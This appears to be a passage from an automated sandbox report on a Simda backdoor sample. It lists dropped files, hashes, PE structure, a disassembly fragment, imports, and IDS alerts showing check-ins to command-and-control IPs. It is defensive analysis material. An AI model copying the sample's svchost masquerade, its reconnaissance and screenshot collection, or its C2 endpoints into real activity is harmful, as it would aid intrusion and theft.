                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

                                                                                                                                                                                                          C:\Users\user\AppData\Roaming\374725562.zip

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:Zip archive data, at least v2.0 to extract, compression method=deflate
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):50609
                                                                                                                                                                                                          Entropy (8bit):7.84283463882289
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:1536:Nr08lLgcl+VxecWK0NkUDW6mobPG32EM3/E7faLf:NrjlLgcOeceNk6be32bsjcf
                                                                                                                                                                                                          MD5:BF1D74EF1AF0938B3276A580421887F5
                                                                                                                                                                                                          SHA1:D2F2F321FB5A536C031FA15B41809DFEFED33F3B
                                                                                                                                                                                                          SHA-256:8AD80180E9DA4C24B0EDBD274FFEF85ABDFACB629713FEA3F7706386199E73FB
                                                                                                                                                                                                          SHA-512:5339FD264AD1479A9EC9DE14E2334DD1161DB8405E958A6F0033B3E1D02B272FDF97D51DB4A47B0FC1095961B73FDE061A62BCD59A0DE7ED34B5F8622944CFC8
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:PK.........akYIWm.;...........debug_15;Nov;2024_18;56;47.logUT...................0.......... .".L...mB...T9..8.c..}'..XQ.h}...........y)C.........\.r].m..p..g.O..!L.=...fy.t....sc..M.XTr@.&..o.d.jm.R....8..J.a....UK....".6(.t..p4.o.ts.l`.......gh...:h.=D..h..$.......|BG...Ev.#...(J..0 E.v.o..o.zV...R..fJ..J..r-...A.......9.}...^.{....+H.x.....!+...g]..\..Vf..A.&....V.u.+r....h8.....=..G....d..0...G1..(....R....".....m_..u.j.....$xa04..R.G.f..-...;<.n...\@.......W..d...,..V....U.r.......c..^z}.|.\|..E.X...Z.eg..j(.1.[..)....).clO..D...I....K.......U8..p2.{.Ot.p,s=[...Q+8...aw.Z`..U.. ...Y..K..2...rw....!....PK.........akYg,.rA...6.......scr.bmpUT.................O...'x:.n......&N. ...l...tr..*K&"cj.C..fA....t...9t...e-.f..J(..+%..t..O#.y..0lU5.T..9.u..T0.. ....=....s7wsss..O..ws....G..{....?.g7.....v.......'.C.o.....U/;...z........./z/~......i..[...[.n..........po....]..w..].}.n...P.[t....o.o....E......n.H.?..x...t.C..!.N.{?...H...n.!..C

                                                                                                                                                                                                          C:\Users\user\AppData\Roaming\82c31ddd\debug_15;Nov;2024_18;56;47.log

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):1806
                                                                                                                                                                                                          Entropy (8bit):5.368290279704914
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:24:uXGtQiXNbyTyU0zc2i2LuiVGXZVV7RY6f6yZsosrOYXfVRXJsVRXDc3xw1zVbUlB:uyQyETudPSF9Xy/rJ+DAxw150nX7nN
                                                                                                                                                                                                          MD5:18DA123734464547FF2E1DF7908E2DD2
                                                                                                                                                                                                          SHA1:F0F6052794C80CF63F0F0557E03A18F1553ED795
                                                                                                                                                                                                          SHA-256:5167DD0293E236489D2E479E72849963E85F46CB0B8CC6A142D88286F50E9EBE
                                                                                                                                                                                                          SHA-512:C1FFA5D614BD10342D91A2074952BD0725AE5BBCB181BC01212560D057E81DC7EB22E488DB32E3D6FC2058BBA0AF38BCC70E504F8AE392E535111BC161D1E6DD
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:ExceptionAddress = C:\Windows\System32\KERNELBASE.dll!RaiseException + 0x0062..ExceptionCode = 0x0000071A.Last error: 0x00000000..Context:.Eip = 0x7595CC12 Eax = 0x08DFF8E8 Ebx = 0x00000000.Ecx = 0x00000000 Edx = 0x003D1000 Ebp = 0x08DFF940.Esp = 0x08DFF8E8 Esi = 0x0000071A Edi = 0x086A6E18.EFlags = 0x00000246..Main module:.main 0x02C70000-0x00061000..ThreadStart = unknown!0x02c85590..CallStack:.C:\Windows\System32\RPCRT4.dll!RpcRaiseException + 0x003e.C:\Windows\System32\RPCRT4.dll!RpcErrorGetNextRecord + 0x0461.C:\Windows\System32\RPCRT4.dll!NdrAsyncClientCall + 0x04ea.C:\Windows\System32\RPCRT4.dll!NdrAsyncClientCall + 0x0553.C:\Windows\System32\RPCRT4.dll!RpcAsyncCompleteCall + 0x002c.C:\Windows\SYSTEM32\WINSTA.dll!WinStationRegisterConsoleNotification + 0x0422.C:\Windows\SYSTEM32\WINSTA.dll!WinStationQueryCurrentSessionInformation + 0x007a.C:\Windows\System32\RPCRT4.dll!I_RpcGetSystemHandle + 0x0ba5.C:\Windows\System32\RPCRT4.dll!I_RpcGetSystemHandle + 0x0b3d.C:\Windows\System32\R

                                                                                                                                                                                                          C:\Users\user\AppData\Roaming\82c31ddd\scr.bmp

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:PC bitmap, Windows 3.x format, 1280 x 1024 x 8, image size 1310720, cbSize 1311798, bits offset 1078
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):1311798
                                                                                                                                                                                                          Entropy (8bit):2.8891642540019875
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:24576:U1Ija75kOkgYJs5QLQdrS5WXoYYdbJb1HW3lCRQpW25LaokYbh2xkO9MfozIkuV8:U1Ija75kOkgYJs5QLQdrS5WXoYYdbJbx
                                                                                                                                                                                                          MD5:8A5CAEC641DE0DA5238780A4D91F78F8
                                                                                                                                                                                                          SHA1:D44B943D5E7D140AB7AF5A06C97FCE0BB41B6FD7
                                                                                                                                                                                                          SHA-256:490726C69F61A7BC61C743C254F6EE44ED6ABD604DAAB78EBB87CD1940A16FF2
                                                                                                                                                                                                          SHA-512:9A8AB5359B6A3BAC91C733312E92FBD00B4548B353A75A820E8EDBD8AA0777E4F26E3748BC08B0D8BBEA7CA2815345B20605D081C20A6E8133C807325AB827BA
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:BM6.......6...(............................................................................... @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...@...`....................... ...@...`....................... ...@...`....................... ...@...`................@...@. .@.@.@.`.@...@...@...@...@ ..@ .@ @.@ `.@ ..@ ..@ ..@ ..@@..@@ .@@@.@@`.@@..@@..@@..@@..@`..@` .@`@.@``.@`..@`..@`..@`..@...@. .@.@.@.`.@...@...@...@...@...@. .@.@.@.`.@...@...@...@...@...@. .@.@.@.`.@...@...@...@...@...@. .@.@.@.`.@...@..@...@......... ...@...`.................. ... .. @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...@...`....................... ...@...`....................... ...@...`....................... ...@...`...................... ...@...`.................. ... .. @.. `.. ... ... ... ...@...@ ..@@..@`..@...@...@...@...`...` ..`@..``..`...`...`...`........ ...@...`....................... ...@...`...

                                                                                                                                                                                                          C:\Users\user\AppData\Roaming\82c31ddd\sysinfo.log

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          File Type:ASCII text
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):6986
                                                                                                                                                                                                          Entropy (8bit):5.174383434457671
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:96:esDyRgRZeMWuTeo4KIEIMIhrINImIBIDIhI+IbI6IFIUIxIBI8INItI9IfILIAIf:es+cYuP35CRzc6nclQ82
                                                                                                                                                                                                          MD5:DAB589EAB13900CADD6DCE1B76B9B4C6
                                                                                                                                                                                                          SHA1:05B081AFABAE3EEC2BB91FF70E57E36084E59E0F
                                                                                                                                                                                                          SHA-256:5832AFDCED472B1AFB3F8FBACF3E3B6CDFE3D7A2E96E59EA610AFB6E286D7584
                                                                                                                                                                                                          SHA-512:7929B9EDEA2EE8037797B0141617EFBEDD6DB1ED3107C847AB8A80E791FCCF86829DE2F55810484371E119D5FBC9EF4468AE7039001888C629CB575744C97C70
                                                                                                                                                                                                          Malicious:false
                                                                                                                                                                                                          Preview:{BotVer: 4.0.1}.{Process: C:\Windows\apppatch\svchost.exe}.{Username: user}.{Processor: Intel64 Family 6 Model 143 Stepping 8, GenuineIntel}.{Language: ENG}.{Screen: 1280x1024@32}.{Date: 15:Nov:2024}.{Local time: 18:56:47}.{GMT: -5:00}.{Uptime: 4d 8h 5m}.{Windows directory: C:\Windows}.{Administrator: true}.IE history:.{http://go.microsoft.com/fwlink/p/?LinkId=255141}.netstat.{Proto.Local address.Remote address.State.TCP.0.0.0.0:135.0.0.0.0:0.LISTEN.TCP.0.0.0.0:445.0.0.0.0:0.LISTEN.TCP.0.0.0.0:5040.0.0.0.0:0.LISTEN.TCP.0.0.0.0:27903.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49664.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49665.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49666.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49667.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49668.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49669.0.0.0.0:0.LISTEN.TCP.0.0.0.0:49670.0.0.0.0:0.LISTEN.TCP.0.0.0.0:64111.0.0.0.0:0.LISTEN.TCP.192.168.2.6:139.0.0.0.0:0.LISTEN.TCP.192.168.2.6:49697.192.168.2.1:445.ESTAB.TCP.192.168.2.6:49703.40.126.31.73:443.TIME_WAIT.TCP.192.168.2.6:49706.2.23.209

                                                                                                                                                                                                          C:\Windows\apppatch\svchost.exe

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Users\user\Desktop\Bpfz752pYZ.exe
                                                                                                                                                                                                          File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                          Category:modified
                                                                                                                                                                                                          Size (bytes):1179648
                                                                                                                                                                                                          Entropy (8bit):6.468101862032136
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:24576:+800kHPa2DfTNjx+mZCkt76f/24pN+XNqNG6hditW:R0riKf9Ckt7c20+9qNxUW
                                                                                                                                                                                                          MD5:AA278E2717BFC5593B570B9CC3D1270A
                                                                                                                                                                                                          SHA1:E8B47C74F5304FFB43029E35C678488AA21E9B3F
                                                                                                                                                                                                          SHA-256:66E88335CC7F33C2AB7F4C650199DBE98838828120CE099C81E702D422C1C57C
                                                                                                                                                                                                          SHA-512:8AEE9A00A975724F394A3B926F87FBA37A5F2EC59A41C8AAF1FF770A04A024233A382C07B84E440F43CC0C9EECEFDD550F3F94D4EE88956D2DDF02D1218472B2
                                                                                                                                                                                                          Malicious:true
                                                                                                                                                                                                          Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....".:.................2..........;........@....@...................................I.....................................R..........4............................................................................................................text...[0.......2.................. ..`.j......#k...P.......6..............@..@.nkytZ...............<..............@..@.N......hQ...P.......@..............@..@.fc.....&............N..............@....data....6...@...8...T..............@....s.......e..........................@....w..................................@....rsrc...4...........................@..@.reloc...............2..............@..B................................................................................................................................................................................................................................

                                                                                                                                                                                                          C:\Windows\apppatch\svchost.exe:Zone.Identifier

                                                                                                                                                                                                          Download File
                                                                                                                                                                                                          Process:C:\Users\user\Desktop\Bpfz752pYZ.exe
                                                                                                                                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                          Category:dropped
                                                                                                                                                                                                          Size (bytes):26
                                                                                                                                                                                                          Entropy (8bit):3.95006375643621
                                                                                                                                                                                                          Encrypted:false
                                                                                                                                                                                                          SSDEEP:3:ggPYV:rPYV
                                                                                                                                                                                                          MD5:187F488E27DB4AF347237FE461A079AD
                                                                                                                                                                                                          SHA1:6693BA299EC1881249D59262276A0D2CB21F8E64
                                                                                                                                                                                                          SHA-256:255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
                                                                                                                                                                                                          SHA-512:89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
                                                                                                                                                                                                          Malicious:true
                                                                                                                                                                                                          Preview:[ZoneTransfer]....ZoneId=0

                                                                                                                                                                                                          Static File Info

                                                                                                                                                                                                          General

                                                                                                                                                                                                          File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                          Entropy (8bit):6.468101782439391
                                                                                                                                                                                                          TrID:
                                                                                                                                                                                                          • Win32 Executable (generic) a (10002005/4) 99.96%
                                                                                                                                                                                                          • Generic Win/DOS Executable (2004/3) 0.02%
                                                                                                                                                                                                          • DOS Executable Generic (2002/1) 0.02%
                                                                                                                                                                                                          • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                                                                                                                                                          File name:Bpfz752pYZ.exe
                                                                                                                                                                                                          File size:1'179'648 bytes
                                                                                                                                                                                                          MD5:a1699b125470c94380386d6c0cf106b3
                                                                                                                                                                                                          SHA1:5de240159b639483fb3674e6289e946e7c304293
                                                                                                                                                                                                          SHA256:d7db5171f51590f6eb1f7250eb75203b68ea0e9ba29a60457776338c5a9c9dc3
                                                                                                                                                                                                          SHA512:02f1b13d1f3d20e01525be2c56aa7a6fb4008f8fc20ffe04b19fa2499d2b0f5ceff9e1347ed86e21d14d8bf321fc91f5ee918d4a3164f649bf6fd582d7cef152
                                                                                                                                                                                                          SSDEEP:24576:f800kHPa2DfTNjx+mZCkt76f/24pN+XNqNG6hditW:00riKf9Ckt7c20+9qNxUW
                                                                                                                                                                                                          TLSH:92451241B3D954C0E2338A7798BAD72098B6BDAC5B30CE5F4394765D1DB32E1B839E06
                                                                                                                                                                                                          File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....".:.................2..........;........@....@.................................^.z0...................................

                                                                                                                                                                                                          File Icon

                                                                                                                                                                                                          Icon Hash:004ab5b5d5b59535

                                                                                                                                                                                                          Static PE Info

                                                                                                                                                                                                          General

                                                                                                                                                                                                          Entrypoint:0x401b3b
                                                                                                                                                                                                          Entrypoint Section:.text
                                                                                                                                                                                                          Digitally signed:false
                                                                                                                                                                                                          Imagebase:0x400000
                                                                                                                                                                                                          Subsystem:windows gui
                                                                                                                                                                                                          Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                                                                                                                          DLL Characteristics:
                                                                                                                                                                                                          Time Stamp:0x3A11222E [Tue Nov 14 11:29:50 2000 UTC]
                                                                                                                                                                                                          TLS Callbacks:
                                                                                                                                                                                                          CLR (.Net) Version:
                                                                                                                                                                                                          OS Version Major:4
                                                                                                                                                                                                          OS Version Minor:0
                                                                                                                                                                                                          File Version Major:4
                                                                                                                                                                                                          File Version Minor:0
                                                                                                                                                                                                          Subsystem Version Major:4
                                                                                                                                                                                                          Subsystem Version Minor:0
                                                                                                                                                                                                          Import Hash:616d060f84174fbe550615d295f4ce51

                                                                                                                                                                                                          Entrypoint Preview

                                                                                                                                                                                                          Instruction
                                                                                                                                                                                                          mov ecx, 00000000h
                                                                                                                                                                                                          mov eax, ecx
                                                                                                                                                                                                          call dword ptr [004150F8h]
                                                                                                                                                                                                          mov dword ptr [00424B42h], eax
                                                                                                                                                                                                          xor eax, eax
                                                                                                                                                                                                          xor ebx, ebx
                                                                                                                                                                                                          sub ebx, 0000010Ah
                                                                                                                                                                                                          jnc 00007F5468869D38h
                                                                                                                                                                                                          add ebx, 00000D32h
                                                                                                                                                                                                          mov ecx, ebx
                                                                                                                                                                                                          shr ecx, 1
                                                                                                                                                                                                          add ecx, esi
                                                                                                                                                                                                          sub ecx, 00000222h
                                                                                                                                                                                                          ror ecx, 05h
                                                                                                                                                                                                          sub ecx, dword ptr [00425025h]
                                                                                                                                                                                                          sub ecx, eax
                                                                                                                                                                                                          sub dword ptr [00424AEDh], ecx
                                                                                                                                                                                                          shr ecx, 1
                                                                                                                                                                                                          add dword ptr [004250ADh], ecx
                                                                                                                                                                                                          call 00007F546886AA84h
                                                                                                                                                                                                          mov dword ptr [00424377h], eax
                                                                                                                                                                                                          push 00000001h
                                                                                                                                                                                                          pop edx
                                                                                                                                                                                                          push edx
                                                                                                                                                                                                          mov ecx, 00486F5Ah
                                                                                                                                                                                                          mov ebp, 00071E7Eh
                                                                                                                                                                                                          mov eax, ebp
                                                                                                                                                                                                          sub ecx, eax
                                                                                                                                                                                                          call dword ptr [ecx]
                                                                                                                                                                                                          mov dword ptr [00424170h], eax
                                                                                                                                                                                                          mov esi, 0020A87Ch
                                                                                                                                                                                                          mov eax, esi
                                                                                                                                                                                                          shl eax, 1
                                                                                                                                                                                                          call dword ptr [eax]
                                                                                                                                                                                                          mov dword ptr [0042424Eh], eax
                                                                                                                                                                                                          or eax, eax
                                                                                                                                                                                                          jne 00007F5468869D35h
                                                                                                                                                                                                          mov edx, esi
                                                                                                                                                                                                          dec edi
                                                                                                                                                                                                          mov edi, 00000001h
                                                                                                                                                                                                          mov eax, edi
                                                                                                                                                                                                          push eax
                                                                                                                                                                                                          mov ecx, 0020A86Ah
                                                                                                                                                                                                          mov eax, ecx
                                                                                                                                                                                                          shl eax, 1
                                                                                                                                                                                                          call dword ptr [eax]
                                                                                                                                                                                                          mov dword ptr [00425205h], eax
                                                                                                                                                                                                          ret
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          int3
                                                                                                                                                                                                          mov eax, ebp
                                                                                                                                                                                                          push eax
                                                                                                                                                                                                          push esp
                                                                                                                                                                                                          pop ebp
                                                                                                                                                                                                          sub esp, 14h
                                                                                                                                                                                                          lea eax, dword ptr [004245CCh]

                                                                                                                                                                                                          Data Directories

                                                                                                                                                                                                          NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0x152040xb4.N
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0x5f0000x29434.rsrc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x890000x3fe.reloc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0x1b5140x1c.fc
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                          Sections

                                                                                                                                                                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                          .text0x10000x305b0x3200746849c22bd1df3ec913e6afd3261c01False0.700703125data6.211906712870064IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .j0x50000x6b230x6000ac67a98e2d3f6254b28e45da115c69bFalse0.96875data7.160260489225009IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .nkytZ0xc0000x8a0b0x400a47b6a356a3431ac9df3442ebc526efbFalse0.728515625data5.978528077403749IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .N0x150000x51680xe001dbd683313ed000c6b75f32744694ec5False0.47572544642857145data5.278775089069264IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .fc0x1b0000x8d260x60012c7d10915b83bfd9faa65fa82180001False0.736328125data5.748360690216942IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                          .data0x240000x36c00x38009a257e09d714d8ab48b690e8453afbd6False0.81298828125data6.7672572781458635IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                          .s0x280000x65bb0x80030f797c52e34fe45fded3dfd0de177a6False0.2587890625data2.075341234110115IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                          .w0x2f0000x2fd0b0x8001958d4f52ae8d506c6908df58c4a3a64False0.6533203125data5.386043783353626IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                          .rsrc0x5f0000x294340x29600496540dfc12657aab2ce18ca319f7ae5False0.9770404550604229data7.967828924738939IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                          .reloc0x890000x3fe0x400a91b09921b19daa6e0bdbe6b0aaccf90False0.939453125data6.753512294366748IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                          Resources

                                                                                                                                                                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                          RT_ICON0x5f3100x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.4143996247654784
                                                                                                                                                                                                          RT_DIALOG0x603b80x50dataEnglishUnited States1.0
                                                                                                                                                                                                          RT_STRING0x604080x11adataEnglishUnited States0.7304964539007093
                                                                                                                                                                                                          RT_STRING0x605240x114dataEnglishUnited States0.7282608695652174
                                                                                                                                                                                                          RT_STRING0x606380x10cdataEnglishUnited States0.7388059701492538
                                                                                                                                                                                                          RT_STRING0x607440x154dataEnglishUnited States0.6970588235294117
                                                                                                                                                                                                          RT_STRING0x608980x11aTarga image data - Color 2 x 55 x 32 +42 +86 "\011"EnglishUnited States0.7269503546099291
                                                                                                                                                                                                          RT_STRING0x609b40x16edataEnglishUnited States0.6857923497267759
                                                                                                                                                                                                          RT_STRING0x60b240x132dataEnglishUnited States0.7124183006535948
                                                                                                                                                                                                          RT_STRING0x60c580xfedataEnglishUnited States0.7480314960629921
                                                                                                                                                                                                          RT_RCDATA0x60d580x27493dataEnglishUnited States1.0003480098188484
                                                                                                                                                                                                          RT_GROUP_ICON0x881ec0x14dataEnglishUnited States1.1
                                                                                                                                                                                                          RT_VERSION0x882000x234dataEnglishUnited States0.5336879432624113

                                                                                                                                                                                                          Imports

                                                                                                                                                                                                          DLLImport
                                                                                                                                                                                                          kernel32.dllSetLocaleInfoA, lstrcpyn, CreateNamedPipeA, GetEnvironmentVariableA, GetExitCodeThread, OpenEventW, GetLogicalDriveStringsA, CopyFileExW, SetPriorityClass, GetProcAddress, CreateMutexA, CreateMutexW, QueryPerformanceCounter, CreateThread, SetUnhandledExceptionFilter, OpenMutexW, GetExitCodeProcess, GlobalGetAtomNameA, GetFileTime, GetCalendarInfoA, MulDiv, CreateFileMappingW, CreateMailslotA, FreeResource, LocalFree, DeleteAtom, GetVolumeInformationA, RaiseException, AddAtomA, GlobalFindAtomW, RemoveDirectoryW, GlobalFindAtomA, CreateMailslotW, GetProcessHeaps, EndUpdateResourceA, CopyFileExA, CreateNamedPipeW, SleepEx, GetModuleHandleA, WaitForSingleObject, GetSystemDefaultLangID, SetEvent, TlsAlloc, SetCalendarInfoW, GetLastError, GetFileSize, lstrlen, DuplicateHandle, GetAtomNameW, GetStringTypeW, CreateFileA
                                                                                                                                                                                                          USER32.DLLCheckMenuItem, GetDC, DefDlgProcW, BringWindowToTop, GetDlgItem, EnumWindows, PeekMessageW, SetCursor, GetWindowLongA, MessageBoxIndirectW, CreatePopupMenu, keybd_event, GetWindowTextLengthA
                                                                                                                                                                                                          gdi32.dllCreateFontIndirectExA, CreatePolygonRgn, CreateDIBitmap, GetLogColorSpaceW, SetGraphicsMode, GdiGetBatchLimit, ScaleWindowExtEx, SelectObject, GetEnhMetaFileHeader, GetFontData, SetLayout, SetRectRgn, ExtSelectClipRgn, EnumFontFamiliesA, GetAspectRatioFilterEx, GetNearestPaletteIndex, PolylineTo, PatBlt, SelectClipRgn
                                                                                                                                                                                                          ADVAPI32.DLLRegEnumValueW, RegReplaceKeyA, RegCreateKeyW, RegQueryValueA, RegCreateKeyExA, RegReplaceKeyW, RegCloseKey
                                                                                                                                                                                                          SHLWAPI.DLLPathGetArgsW, ChrCmpIA, StrSpnW, PathAddBackslashW, PathIsUNCA, SHRegOpenUSKeyW, PathIsPrefixA, PathCompactPathExA
                                                                                                                                                                                                          COMCTL32.DLLFlatSB_SetScrollRange, InitCommonControls
                                                                                                                                                                                                          winspool.drvAddFormW, EnumMonitorsW, OpenPrinterW, GetJobW, DeleteMonitorA, EndDocPrinter, AddPrinterConnectionW, SetPrinterDataExW
                                                                                                                                                                                                          INETCOMM.DLLMimeOleParseRfc822Address, MimeOleParseRfc822AddressW, HrGetAttachIcon, EssSecurityLabelEncodeEx, MimeOleGetDefaultCharset, MimeOleGetFileExtension, HrAttachDataFromFile, EssKeyExchPreferenceEncodeEx, EssSignCertificateDecodeEx, MimeOleSMimeCapGetHashAlg, EssKeyExchPreferenceDecodeEx, MimeOleGetCharsetInfo, MimeOleGetCertsFromThumbprints

                                                                                                                                                                                                          Possible Origin

                                                                                                                                                                                                          Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                          EnglishUnited States

                                                                                                                                                                                                          Network Behavior

                                                                                                                                                                                                          Suricata IDS Alerts

                                                                                                                                                                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                          2024-11-11T18:13:00.497567+01002021022ET MALWARE Wapack Labs Sinkhole DNS Reply11.1.1.153192.168.2.664197UDP
                                                                                                                                                                                                          2024-11-11T18:13:01.308489+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.64971085.17.31.8280TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.323208+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.64971118.208.156.24880TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.323321+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.64970844.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.331145+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz144.221.84.10580192.168.2.649708TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.331145+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst144.221.84.10580192.168.2.649708TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.331712+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz118.208.156.24880192.168.2.649711TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.331712+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst118.208.156.24880192.168.2.649711TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.341864+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649709208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.347944+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.64970723.253.46.6480TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.419707+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.64971344.221.84.10580TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.449028+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.649709208.100.26.24580TCP
                                                                                                                                                                                                          2024-11-11T18:13:01.552615+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.658860199.59.243.22780TCP
